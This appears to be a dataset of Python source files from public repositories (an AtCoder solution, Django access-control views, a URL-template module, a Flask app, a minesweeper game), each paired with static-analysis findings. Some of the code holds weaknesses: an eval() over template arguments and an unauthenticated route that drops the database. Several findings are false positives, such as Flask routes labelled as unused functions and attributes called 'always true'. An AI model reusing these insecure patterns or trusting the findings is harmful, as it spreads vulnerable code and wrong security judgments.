[ "key `4` in `x` is assigned twice; the first assignment is useless", "key `5` in `x` is assigned twice; the first assignment is useless", "key `9` in `x` is assigned twice; the first assignment is useless", "key `10` in `x` is assigned twice; the first assignment is useless", "key `11` in `x` is assigned tw...
[ 3, 3, 3, 3, 3, 3 ]
[ "", "", "", "", "", "" ]
[ "", "", "", "", "", "" ]
UpperHalfTrans.py
/nao_virtual_ws/src/nao_virtual/nao_control/scripts/UpperHalfTrans.py
jackietom/nao_robot_control
Apache-2.0
2024-11-18T18:15:53.848738+00:00
1,616,489,281,000
4721328b9e6f14f182bcf00dddc2700737e00587
3
{ "blob_id": "4721328b9e6f14f182bcf00dddc2700737e00587", "branch_name": "refs/heads/master", "committer_date": 1616489281000, "content_id": "41b852486f3aca724ee937f8b66b888c04b44065", "detected_licenses": [ "Unlicense" ], "directory_id": "039f2c747a9524daa1e45501ada5fb19bd5dd28f", "extension": "py", "filename": "ABC172c2.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 242283632, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 837, "license": "Unlicense", "license_type": "permissive", "path": "/ABC172/ABC172c2.py", "provenance": "stack-edu-0054.json.gz:569005", "repo_name": "yuto-moriizumi/AtCoder", "revision_date": 1616489281000, "revision_id": "21acb489f1594bbb1cdc64fbf8421d876b5b476d", "snapshot_id": "86dbb4f98fea627c68b5391bf0cc25bcce556b88", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/yuto-moriizumi/AtCoder/21acb489f1594bbb1cdc64fbf8421d876b5b476d/ABC172/ABC172c2.py", "visit_date": "2023-03-25T08:10:31.738457" }
2.96875
stackv2
# ABC172c def main(): import sys import bisect input = sys.stdin.readline sys.setrecursionlimit(10**6) # 再帰関数を使わない限りPypyで出すこと def dump(*args): sys.stderr.write(str(args)) n, m, k = map(int, input().split()) a = list(map(int, input().split())) b = list(map(int, input().split())) def cum(array): # result[i]=i番目まで(1-indexed)の累積和 result = [0] for i in range(len(array)): result.append(array[i]+result[i]) return result bc = cum(b) ac = cum(a) ans = 0 for i in range(n + 1): if ac[i] <= k: #print(i, bisect.bisect_left(bc, k - ac[i])-1) ans = max(ans, i + bisect.bisect_right(bc, k - ac[i])-1) print(ans) if __name__ == '__main__': main()
35
21.43
68
18
248
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_dbb6b4d1cbd7bfa1_9b949575", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `dump` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 12, "column_start": 5, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/dbb6b4d1cbd7bfa1.py", "start": {"line": 11, "col": 5, "offset": 185}, "end": {"line": 12, "col": 36, "offset": 237}, "extra": {"message": "function `dump` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.maintainability.useless-inner-function" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "HIGH" ]
[ 11 ]
[ 12 ]
[ 5 ]
[ 36 ]
[ "" ]
[ "function `dump` is defined inside a function but never used" ]
[ 7.5 ]
[ "" ]
[ "" ]
ABC172c2.py
/ABC172/ABC172c2.py
yuto-moriizumi/AtCoder
Unlicense
2024-11-18T18:15:56.364800+00:00
1,486,548,584,000
1484da73b225118b83dd5846213e51779f64fbd2
2
{ "blob_id": "1484da73b225118b83dd5846213e51779f64fbd2", "branch_name": "refs/heads/master", "committer_date": 1486548584000, "content_id": "db324de942e39adc35a6b3028218cebf1519db81", "detected_licenses": [ "MIT" ], "directory_id": "e6ceeb5fb8cfa465debff074e6c70f5b4c5e7c41", "extension": "py", "filename": "access_control_views.py", "fork_events_count": 0, "gha_created_at": 1486548595000, "gha_event_created_at": 1486548595000, "gha_language": null, "gha_license_id": null, "github_id": 81315990, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2976, "license": "MIT", "license_type": "permissive", "path": "/doner/project/access_control_views.py", "provenance": "stack-edu-0054.json.gz:569035", "repo_name": "alexband/doner", "revision_date": 1486548584000, "revision_id": "bea37f80a6e4664723b5c82e8519c52bdcb2c356", "snapshot_id": "05f76dab1dea09e4dfec811bdb009c572f000e2c", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/alexband/doner/bea37f80a6e4664723b5c82e8519c52bdcb2c356/doner/project/access_control_views.py", "visit_date": "2021-01-12T10:40:10.669660" }
2.40625
stackv2
from django.contrib.auth.decorators import login_required from django.utils.decorators import method_decorator from django.views.generic.base import View from django.shortcuts import render from .models import Project, Ticket, Log class LoginRequiredView(View): ''' This view can be visited only by authenticated users. ''' @method_decorator(login_required) def dispatch(self, *args, **kwargs): return super(LoginRequiredView, self).dispatch(*args, **kwargs) class UserPrivateView(View): ''' This view can be visited only by single user (view owner). ''' @method_decorator(login_required) def dispatch(self, *args, **kwargs): if not self.request.user == self.get_object(): return render(self.request, 'access-denied.html') return super(UserPrivateView, self).dispatch(*args, **kwargs) class SuperUserView(View): ''' This view can be visited only by superusers. ''' @method_decorator(login_required) def dispatch(self, *args, **kwargs): if not self.request.user.is_superuser: return render(self.request, 'access-denied.html') return super(SuperUserView, self).dispatch(*args, **kwargs) class ProjectReletedView(View): url_pk_related_model = Project project = None def get_project(self): ''' Based on self.url_pk_related_model get project instance and set it as self.project. ''' if self.project: # project is already available return model_instance = self.url_pk_related_model.objects.get(pk=self.kwargs['pk']) if isinstance(model_instance, Project): self.project = model_instance elif isinstance(model_instance, Ticket): self.project = model_instance.project elif isinstance(model_instance, Log): self.project = model_instance.ticket.project else: raise ValueError def is_project_member(self): self.get_project() return self.request.user.is_superuser or self.request.user in self.project.members.all() class ProjectView(ProjectReletedView): ''' If project IS PRIVATE give access to: - project members - superusers ''' @method_decorator(login_required) def dispatch(self, *args, **kwargs): self.get_project() if self.project.is_private and not self.is_project_member(): return render(self.request, 'access-denied.html') return super(ProjectView, self).dispatch(*args, **kwargs) class MembersOnlyView(ProjectReletedView): ''' This view can be visited only by: - project members - superusers ''' @method_decorator(login_required) def dispatch(self, *args, **kwargs): if not self.is_project_member(): return render(self.request, 'access-denied.html') return super(MembersOnlyView, self).dispatch(*args, **kwargs)
106
27.08
96
13
599
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_bf56c3af6c11ae6c_041fd335", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_superuser\" a function or an attribute? If it is a function, you may have meant self.request.user.is_superuser() because self.request.user.is_superuser is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 16, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/bf56c3af6c11ae6c.py", "start": {"line": 41, "col": 16, "offset": 1060}, "end": {"line": 41, "col": 46, "offset": 1090}, "extra": {"message": "Is \"is_superuser\" a function or an attribute? If it is a function, you may have meant self.request.user.is_superuser() because self.request.user.is_superuser is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_bf56c3af6c11ae6c_3a913a36", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_superuser\" a function or an attribute? If it is a function, you may have meant self.request.user.is_superuser() because self.request.user.is_superuser is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 16, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/bf56c3af6c11ae6c.py", "start": {"line": 73, "col": 16, "offset": 2041}, "end": {"line": 73, "col": 46, "offset": 2071}, "extra": {"message": "Is \"is_superuser\" a function or an attribute? If it is a function, you may have meant self.request.user.is_superuser() because self.request.user.is_superuser is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_bf56c3af6c11ae6c_6e4e380a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_private\" a function or an attribute? If it is a function, you may have meant self.project.is_private() because self.project.is_private is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 87, "line_end": 87, "column_start": 12, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/bf56c3af6c11ae6c.py", "start": {"line": 87, "col": 12, "offset": 2388}, "end": {"line": 87, "col": 35, "offset": 2411}, "extra": {"message": "Is \"is_private\" a function or an attribute? If it is a function, you may have meant self.project.is_private() because self.project.is_private is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "", "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 41, 73, 87 ]
[ 41, 73, 87 ]
[ 16, 16, 12 ]
[ 46, 46, 35 ]
[ "", "", "" ]
[ "Is \"is_superuser\" a function or an attribute? If it is a function, you may have meant self.request.user.is_superuser() because self.request.user.is_superuser is always true.", "Is \"is_superuser\" a function or an attribute? If it is a function, you may have meant self.request.user.is_superuser() because self....
[ 5, 5, 5 ]
[ "", "", "" ]
[ "", "", "" ]
access_control_views.py
/doner/project/access_control_views.py
alexband/doner
MIT
2024-11-18T18:15:56.701855+00:00
1,690,534,950,000
bfb925a90477c2f3ae47690fe36914a9961b3f98
3
{ "blob_id": "bfb925a90477c2f3ae47690fe36914a9961b3f98", "branch_name": "refs/heads/master", "committer_date": 1690534950000, "content_id": "ac7441ba8a8c6700cd9631edb9574289ad32848b", "detected_licenses": [ "MIT" ], "directory_id": "92bdf73588634c9376e9c060fd04933a675e0817", "extension": "py", "filename": "url_templates.py", "fork_events_count": 6, "gha_created_at": 1270804832000, "gha_event_created_at": 1665151023000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 602208, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6300, "license": "MIT", "license_type": "permissive", "path": "/iktomi/web/url_templates.py", "provenance": "stack-edu-0054.json.gz:569040", "repo_name": "SmartTeleMax/iktomi", "revision_date": 1690534950000, "revision_id": "ae7d8d53a72e8703dc438f1bc02e7864db49d4e0", "snapshot_id": "f3401c3363bad53d8f07d0bf55590f3b47610b7a", "src_encoding": "UTF-8", "star_events_count": 14, "url": "https://raw.githubusercontent.com/SmartTeleMax/iktomi/ae7d8d53a72e8703dc438f1bc02e7864db49d4e0/iktomi/web/url_templates.py", "visit_date": "2023-08-07T15:08:16.787743" }
2.53125
stackv2
# -*- coding: utf-8 -*- import six if six.PY2: from urllib import quote, unquote else:# pragma: no cover from urllib.parse import quote, unquote import re import logging from .url_converters import default_converters, ConvertError logger = logging.getLogger(__name__) def urlquote(value): if isinstance(value, six.integer_types): value = six.text_type(value) return quote(value.encode('utf-8')) class UrlBuildingError(Exception): pass _split_pattern = re.compile(r'(<[^<]*>)') #NOTE: taken from werkzeug _converter_pattern = re.compile(r'''^< (?: (?P<converter>[a-zA-Z_][a-zA-Z0-9_]+) # converter name (?:\((?P<args>.*?)\))? # converter args \: # delimiter )? (?P<variable>[a-zA-Z_][a-zA-Z0-9_]*) # variable name >$''', re.VERBOSE | re.U) _static_url_pattern = re.compile(r'^[^<]*?$') def construct_re(url_template, match_whole_str=False, converters=None, default_converter='string', anonymous=False): ''' url_template - str or unicode representing template Constructed pattern expects urlencoded string! returns (compiled re pattern, dict {url param name: [converter name, converter args (str)]}, list of (variable name, converter name, converter args name)) If anonymous=True is set, regexp will be compiled without names of variables. This is handy for example, if you want to dump an url map to JSON. ''' # needed for reverse url building (or not needed?) builder_params = [] # found url params and their converters url_params = {} result = r'^' parts = _split_pattern.split(url_template) for i, part in enumerate(parts): is_url_pattern = _static_url_pattern.match(part) if is_url_pattern: #NOTE: right order: # - make part str if it was unicode # - urlquote part # - escape all specific for re chars in part result += re.escape(urlquote(part)) builder_params.append(part) continue is_converter = _converter_pattern.match(part) if is_converter: groups = is_converter.groupdict() converter_name = groups['converter'] or default_converter conv_object = init_converter(converters[converter_name], groups['args']) variable = groups['variable'] builder_params.append((variable, conv_object)) url_params[variable] = conv_object if anonymous: result += conv_object.regex else: result += '(?P<{}>{})'.format(variable, conv_object.regex) continue raise ValueError('Incorrect url template {!r}'.format(url_template)) if match_whole_str: result += '$' return re.compile(result), url_params, builder_params def init_converter(conv_class, args): if args: #XXX: taken from werkzeug storage = type('_Storage', (), {'__getitem__': lambda s, x: x})() args, kwargs = eval(u'(lambda *a, **kw: (a, kw))({})'.format(args), {}, storage) return conv_class(*args, **kwargs) return conv_class() class UrlTemplate(object): def __init__(self, template, match_whole_str=True, converters=None, default_converter='string'): self.template = template self.match_whole_str = match_whole_str self._allowed_converters = self._init_converters(converters) self._pattern, self._url_params, self._builder_params = \ construct_re(template, match_whole_str=match_whole_str, converters=self._allowed_converters, default_converter=default_converter) def match(self, path, **kw): ''' path - str (urlencoded) ''' m = self._pattern.match(path) if m: kwargs = m.groupdict() # convert params for url_arg_name, value_urlencoded in kwargs.items(): conv_obj = self._url_params[url_arg_name] unicode_value = unquote(value_urlencoded) if isinstance(unicode_value, six.binary_type): # XXX ?? unicode_value = unicode_value.decode('utf-8', 'replace') try: kwargs[url_arg_name] = conv_obj.to_python(unicode_value, **kw) except ConvertError as err: logger.debug('ConvertError in parameter "%s" ' 'by %r, value "%s"', url_arg_name, err.converter.__class__, err.value) return None, {} return m.group(), kwargs return None, {} def __call__(self, **kwargs): 'Url building with url params values taken from kwargs. (reverse)' result = '' for part in self._builder_params: if isinstance(part, tuple): var, conv_obj = part try: value = kwargs[var] except KeyError: if conv_obj.default is not conv_obj.NotSet: value = conv_obj.default else: raise UrlBuildingError('Missing argument for ' 'URL builder: {}'.format(var)) result += conv_obj.to_url(value) else: result += part # result - unicode not quotted string return result def _init_converters(self, converters): convs = default_converters.copy() if converters is not None: convs.update(converters) return convs def __eq__(self, other): return self.template == other.template and \ self.match_whole_str == other.match_whole_str def __repr__(self): return '{}({!r}, match_whole_str={!r})'.format( self.__class__.__name__, self.template, self.match_whole_str)
170
36.06
82
23
1,287
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_3fe337b711103b97_6ed7b1e8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 92, "line_end": 93, "column_start": 24, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/3fe337b711103b97.py", "start": {"line": 92, "col": 24, "offset": 3191}, "end": {"line": 93, "col": 41, "offset": 3284}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 92 ]
[ 93 ]
[ 24 ]
[ 41 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
url_templates.py
/iktomi/web/url_templates.py
SmartTeleMax/iktomi
MIT
2024-11-18T18:15:56.925528+00:00
1,621,275,550,000
2e2013e4b5b9af668a43c1b126e4f997374ac018
3
{ "blob_id": "2e2013e4b5b9af668a43c1b126e4f997374ac018", "branch_name": "refs/heads/main", "committer_date": 1621275550000, "content_id": "3230c1dc2401cab693c54c2ecab469e831dd826a", "detected_licenses": [ "MIT" ], "directory_id": "84743978c7f918ec2b920ae9c415fc75d75275bb", "extension": "py", "filename": "app.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 367090273, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2657, "license": "MIT", "license_type": "permissive", "path": "/twitcomp/app.py", "provenance": "stack-edu-0054.json.gz:569043", "repo_name": "qianjing2020/who-may-twit-this", "revision_date": 1621275550000, "revision_id": "9129e681921db5814c6c53814efb4f27715cf448", "snapshot_id": "301a2b2c29e02ab8d0ecda414f39230ab513e940", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/qianjing2020/who-may-twit-this/9129e681921db5814c6c53814efb4f27715cf448/twitcomp/app.py", "visit_date": "2023-04-26T08:37:38.705784" }
3
stackv2
"""app/flask_app.py""" import os from flask import Flask, render_template, request from twitcomp.models import DB, User from twitcomp.twitter import add_or_update_user from twitcomp.predict import predict_twitter import commands def create_app(): app = Flask(__name__) # __name__: current path module env_configuration = os.environ['APP_SETTINGS'] app.config.from_object(env_configuration) """ For heroku deploy. Accordingly, add config var through CLI: $ heroku config:set APP_SETTINGS:config.ProductionConfig """ # print(app.config) # shows the dictionary of configuration DB.init_app(app) # register database with flask app commands.init_app(app) # register commands with flask app @app.route('/reset') def reset(): DB.drop_all() DB.create_all() return render_template('base.html', title='Database reset') @app.route('/') def root(): users = User.query.all() return render_template('base.html', title='twitcomp_main', users=users) # page show added/updated user @app.route('/user', methods=["POST"]) @app.route('/user/<name>', methods=["GET"]) def user(name=None, message=''): # we either take name that was passed in or we pull it # from our request.values which would be accessed through the # user submission name = name or request.values['user_name'] try: if request.method == 'POST': add_or_update_user(name) message = "User {} Succesfully added!".format(name) tweets = User.query.filter(User.name == name).one().tweets except Exception as e: message = "********* Error adding {}: {}".format(name, e) tweets = [] return render_template("user.html", title=name, tweets=tweets, message=message) # The comparison result page @app.route('/compare', methods=["POST"]) def compare(): user0, user1 = sorted( [request.values['user0'], request.values["user1"]]) if user0 == user1: message = "Cannot compare users to themselves!" else: # prediction returns a 0 or 1 prediction = predict_twitter( user0, user1, request.values["tweet_text"]) message = "'{}' is more likely to be said by {} than {}!".format( request.values["tweet_text"], user1 if prediction else user0, user0 if prediction else user1 ) return render_template('prediction.html', title="Prediction", message=message) return app
79
32.65
120
18
571
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_ccac060617db6374_6ac7a4c0", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `reset` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 25, "line_end": 29, "column_start": 5, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/ccac060617db6374.py", "start": {"line": 25, "col": 5, "offset": 738}, "end": {"line": 29, "col": 68, "offset": 897}, "extra": {"message": "function `reset` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_ccac060617db6374_920d4ce7", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `root` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 34, "column_start": 5, "column_end": 80, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/ccac060617db6374.py", "start": {"line": 31, "col": 5, "offset": 904}, "end": {"line": 34, "col": 80, "offset": 1052}, "extra": {"message": "function `root` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_ccac060617db6374_8f0f64e4", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `user` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 54, "column_start": 5, "column_end": 88, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/ccac060617db6374.py", "start": {"line": 37, "col": 5, "offset": 1097}, "end": {"line": 54, "col": 88, "offset": 1878}, "extra": {"message": "function `user` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_ccac060617db6374_675441ea", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `compare` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 76, "column_start": 5, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/ccac060617db6374.py", "start": {"line": 57, "col": 5, "offset": 1917}, "end": {"line": 76, "col": 87, "offset": 2640}, "extra": {"message": "function `compare` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "", "", "", "" ]
[ "rules.python.lang.maintainability.useless-inner-function", "rules.python.lang.maintainability.useless-inner-function", "rules.python.lang.maintainability.useless-inner-function", "rules.python.lang.maintainability.useless-inner-function" ]
[ "maintainability", "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 25, 31, 37, 57 ]
[ 29, 34, 54, 76 ]
[ 5, 5, 5, 5 ]
[ 68, 80, 88, 87 ]
[ "", "", "", "" ]
[ "function `reset` is defined inside a function but never used", "function `root` is defined inside a function but never used", "function `user` is defined inside a function but never used", "function `compare` is defined inside a function but never used" ]
[ 7.5, 7.5, 7.5, 7.5 ]
[ "", "", "", "" ]
[ "", "", "", "" ]
app.py
/twitcomp/app.py
qianjing2020/who-may-twit-this
MIT
2024-11-18T18:15:59.314305+00:00
1,481,276,075,000
2061441ba503979feb5dc9820086908e0f9a3ea4
3
{ "blob_id": "2061441ba503979feb5dc9820086908e0f9a3ea4", "branch_name": "refs/heads/master", "committer_date": 1481276075000, "content_id": "6d8f30f70ba84b349b181cca60624378faa147da", "detected_licenses": [ "MIT" ], "directory_id": "7ac1cafd05f99b48fde134d18eed27ff086d45a2", "extension": "py", "filename": "cheesweeper.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 75940277, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15673, "license": "MIT", "license_type": "permissive", "path": "/cheesweeper.py", "provenance": "stack-edu-0054.json.gz:569072", "repo_name": "Forst/cheesweeper", "revision_date": 1481276075000, "revision_id": "c9b34e05622dfdc3b14490ed751668d684c43cd9", "snapshot_id": "f8795be0dd8781585d7a6d264bb283885822450f", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/Forst/cheesweeper/c9b34e05622dfdc3b14490ed751668d684c43cd9/cheesweeper.py", "visit_date": "2020-06-10T16:12:30.324740" }
3.34375
stackv2
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Библиотека графического интерфейса Tk import tkinter, tkinter.messagebox # Генератор псевдослучайных чисел from random import randrange ##### КЛАСС CELL ##### class Cell(object): """Представляет ячейку игрового поля""" def __init__(self, field, x, y): # Игровое поле self.__field = field # Количество флагов вокруг ячейки self.__flag_count = 0 # Помечена ли ячейка флагом self.__is_flagged = False # Находится ли в ячейке мина self.__is_mine = False # Открыта ли ячейка self.__is_opened = False # Количество мин вокруг ячейки self.__mine_count = 0 # Координаты ячейки в игровом поле self.__x = x self.__y = y # Соседствующие с данной ячейки self.__sides = [ ( # ... # ?X. # ... self.x > 0, (self.x - 1, self.y) ), ( # ?.. # .X. # ... self.x > 0 and self.y > 0, (self.x - 1, self.y - 1) ), ( # .?. # .X. # ... self.y > 0, (self.x, self.y - 1) ), ( # ..? # .X. # ... self.x < self.__field.x - 1 and self.y > 0, (self.x + 1, self.y - 1) ), ( # ... # .X? # ... self.x < self.__field.x - 1, (self.x + 1, self.y) ), ( # ... # .X. # ..? self.x < self.__field.x - 1 and self.y < self.__field.y - 1, (self.x + 1, self.y + 1) ), ( # ... # .X. # .?. self.y < self.__field.y - 1, (self.x, self.y + 1) ), ( # ... # .X. # ?.. self.x > 0 and self.y < self.__field.y - 1, (self.x - 1, self.y + 1) ) ] @property def flag_count(self): """Количество флагов вокруг данной ячейки""" return self.__flag_count @flag_count.setter def flag_count(self, value): """Количество флагов вокруг данной ячейки""" has_changed = (value != self.flag_count) if not has_changed: return self.__flag_count = value @property def is_flagged(self): """Помечена ли ячейка флагом""" return self.__is_flagged @is_flagged.setter def is_flagged(self, value): """Помечена ли ячейка флагом""" has_changed = (value != self.is_flagged) if not has_changed or self.is_opened: return self.__is_flagged = value if value: delta = 1 else: delta = -1 self.__execute_around(Cell.__is_flagged_lambda, delta) for callback in self.__field.change_callbacks: callback(self) @staticmethod def __is_flagged_lambda(cell, delta): """Обновляет количество флагов для указанной ячейки""" cell.flag_count += delta @property def is_mine(self): """Находится ли в ячейке мина""" return self.__is_mine @is_mine.setter def is_mine(self, value): """Находится ли в ячейке мина""" has_changed = (value != self.is_mine) if not has_changed: return self.__is_mine = value if 